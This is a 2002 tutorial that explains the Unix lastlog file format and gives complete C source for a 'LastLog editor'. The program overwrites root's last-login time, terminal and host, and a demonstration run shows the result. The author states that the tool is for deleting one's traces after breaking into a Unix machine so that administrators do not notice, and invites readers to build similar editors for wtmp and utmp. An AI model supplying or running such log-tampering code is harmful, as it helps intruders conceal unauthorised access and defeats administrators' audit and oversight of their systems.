This tutorial was written to show Unix users how to create a simple Unix LogFile editor.
d4ad19517e0180b17fd80c7d62561eae9a764b3d79eb2c17e3b94b0d1d1dd2f5
September 2002
LastLog Editor - Unix LogFiles
Introduction
------------------
This tutorial was written to show Unix users how to create a simlpe Unix LogFile
editor. I decided to write this article, right after I have read the tutorial by
pajka (hysteria.sk), which talks about Unix LogFiles. This tutorial gives
detailed information about LastLog logging file, the structure of the log file
and how to change user's entry. Of course, you are welcomed to try and build
LogFiles editors for wtmp, utmp etc.
Lastlog logging file
--------------------------
The LastLog log file contains information on each valid user on the Unix machine.
To view the contents of the file, you cannot use a viewer, but you can use the lastlog
command to view the login-name (user), port (terminal), last-login, time and date.
You can use the command to print information on indivisual user by using lastlog -u USER_NAME.
Three things may happen; first, if the user does not exit on the machine, lastlog will
print the following error message:
[danny@linux ~]$ lastlog -u no_user
Uknown User: no_user
If the requested user was never logged into the machine, lastlog will
print **Never logged in**:
[danny@linux ~]$ lastlog -u adm
Username Port From Latest
adm **Never logged in**
If the requested user is valid, and was logged at least once to the machine, the
following information will be printed:
[danny@linux ~]$ lastlog -u danny
Username Port From Latest
danny :0 Thu Aug 29 15:46:08 +0000 2002
[danny@linux ~]$ lastlog -u root
Username Port From Latest
root tty1 Mon Sep 2 23:29:49 +0000 2002
The system stores the information in /var/log/lastlog (or in /var/adm/lastlog). Once you
called lastlog, it opens the file, formats and prints the contents of the last logging log. If
you don not specify a user, lastlog prints all entries, sorted by UID:
[danny@linux ~]$ lastlog | less
Username Port From Latest
root tty1 Mon Sep 2 23:29:49 +0000 2002
bin **Never logged in**
daemon **Never logged in**
adm **Never logged in**
....
....
danny :0 Thu Aug 29 15:46:08 +0000 2002
As stated above, if no user was supplied, lastlog would print all entries, sorted by UID.
So, if we check the first four lines of /etc/passwd, and compare it to the first four lines of
laslog | less, we'll find them equal:
[danny@linux ~]$ head -n 4 /etc/passwd
root:x:0....
bin:x:1....
daemon:x:2...
adm:x3:...
The lastlog log file contains all valid users on the machine, and each one of them "have" a structure,
which is filled with the details about each user's login information. When you add a new user to the system,
a unique ID is being assigned to that user, and LastLog file is updated automatically.
The structure of LastLog file:
0 (struct lastlog) address: 0 (UID) x sizeof(struct lastlog)
1 (struct lastlog) address: 1 (UID) x sizeof(struct lastlog)
...
...
500 (struct lastlog) address: 500 (UID) x sizeof(struct lastlog)
* If you add a new user, a new entry will be supplied to that user *
501 (struct lastlog) address: 501 (UID) x sizeof(struct lastlog)
The Lastlog Editor
-------------------
In my Lastlog editor, I have used the lastlog structure, which is defined in /bits/utmp.h
(/usr/include/bits/utmp.h). The structure is defined as followed:
struct lastlog
{
__time_t ll_time;
char ll_line[UT_LINESIZE];
char ll_host[UT_HOSTSIZE];
}
The ll_time contains the time and date the user was last logged, ll_line contains the port
or terminal the user was logged from, ll_host contains the host, which the user was logged from (remotely).
The propose of the editor is to change the information in this structure for the user root.
The output of lastlog for user root:
[danny@linux ~]$ lastlog -u root
Username Port From Latest
root tty1 Mon Sep 2 23:29:49 +0000 2002
On my machine, I was last logged on Monday September 2sd at 23:29:49 PM. Assume that I have got an
access to a Unix machine. Once I logged with root or any other account, it will be logged and appear
in /var/log/lastog (/var/adm/lastlog). This will cause a problem, since any serious administrator
will check the lastlog file if he smells something suspicious.
Here comes my small LastLog editor....
/*
* Lastlog log editor
*
* Useful to delete your traces when you break into a
* Unix machine, on which syslog daemon is running.
*
* Copyright (c) Danny (Dr.T) 2002
* admin@ebcvg.com
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <lastlog.h>
#include <fcntl.h>
#include <memory.h>
static char *s_hname = NULL; /* hostname */
static char *s_tdate = NULL; /* time & date */
static char *s_term = NULL; /* s_terminal/port */
static void usage(char *argv)
{
/* print usage for LastLog editor */
printf("LastLog Editor by Danny (Dr.T)\nUsage: %s [options]", argv);
printf(" [-h hostname]");
printf(" -d date");
printf(" -t s_terminal\n");
exit(-1);
}
static void free_memory_and_exit(char *msg)
{
if (msg)
fprintf(stderr, "Error: %s\n", msg);
if (s_hname)
{
free(s_hname);
s_hname = NULL;
}
if (s_tdate)
{
free(s_tdate);
s_tdate = NULL;
}
if (s_term)
{
free(s_term);
s_term = NULL;
}
exit(-1);
}
int main(int argc, char **argv)
{
struct lastlog sll;
int c, file_hd = -1, sz_ll;
/* check if we are running as root */
if (getuid() > 0)
{
free_memory_and_exit("only root can run me!!");
}
/* check if we got seven or five (hostname omitted) arguments */
if (argc != 7 && argc != 5)
usage(argv[0]);
while ((c = getopt(argc, argv, "h:d:t:")) != -1)
{
if (optarg == NULL)
free_memory_and_exit("command line parsing failed");
switch(c)
{
case 'h':
if (strlen(optarg) > UT_HOSTSIZE - 1)
free_memory_and_exit("hostname too long");
s_hname = (char *)malloc(strlen(optarg)+1);
if (s_hname == NULL)
free_memory_and_exit("malloc() failed");
strcpy(s_hname,optarg);
break;
case 'd':
s_tdate = (char *)malloc(strlen(optarg)+1);
if (s_tdate == NULL)
{
free_memory_and_exit("malloc() failed");
}
strcpy(s_tdate,optarg);
break;
case 't':
s_term = (char *)malloc(strlen(optarg)+1);
if (s_term == NULL)
{
free_memory_and_exit("malloc() failed");
}
strcpy(s_term,optarg);
break;
default:
free_memory_and_exit("command line parsing failed");
break;
}
}
/* open lastlog file and check for errors */
file_hd = open ("/var/log/lastlog", O_RDWR);
if (file_hd < -1)
free_memory_and_exit("open() /var/log/lastlog failed");
/* get the lastlog struct size */
sz_ll = sizeof (struct lastlog);
/* set file pointer to the UID lastlog structure */
if ((lseek(file_hd, sz_ll * getuid(), SEEK_SET)) < 0)
free_memory_and_exit("lseek() failed");
/* read information about UID to sll */
if ((read(file_hd, &sll, sz_ll)) < 0)
free_memory_and_exit("read() failed");
/* set new time & date */
sll.ll_time = atoi(s_tdate);
/* set new s_terminal/port */
strncpy(sll.ll_line, s_term, sizeof(sll.ll_line));
/* set the new hostname if specified */
if (s_hname == NULL)
sll.ll_host[0] = '\0';
else
strcpy(sll.ll_host, s_hname);
/* set file pointer to the UID lastlog structure */
if ((lseek(file_hd, sz_ll * getuid(), SEEK_SET)) < 0)
free_memory_and_exit("lseek() failed");
/* write new information */
if ((write(file_hd, &sll, sz_ll)) < 0)
free_memory_and_exit("write() failed");
/* close /var/log/lastlog */
close(file_hd);
fprintf(stdout, "LastLog editor was successfully updated information\n");
}
The program has comments, so it should very easy to understand what it is doing. If you want to check
it on other user (not root), just change the second argument of lseek() function to size * UID.
Compile the program using GCC compiler as shown below:
[danny@linux ~]$ gcc -o lastloge lastloge.c
[danny@linux ~]$ su
root_password
[root@linux ~]# ./lastloge -h home.network.com -d 103674899 -t tty1
LastLog Editor was successfully updated information
[root@linux ~]# lastlog -u root
Username Port From Latest
root tty1 home.network.com Sun Apr 15 00:34:59 +0000 1973
Final Words
---------------
Building a Unix log file editor should not be a big problem. In this small
tutorial, I have explained how to build a LastLog editor. Those of you who
are curious, can try to build a wtmp and utmp logs editor. I hope you enjoyed
reading my article, and if you have any question, comments, suggestion, please
don't hesitate to contact me.
Danny a.k.a Dr.T
admin@ebcvg.com
Copyright Sep 2002 (C) Danny (Dr.T)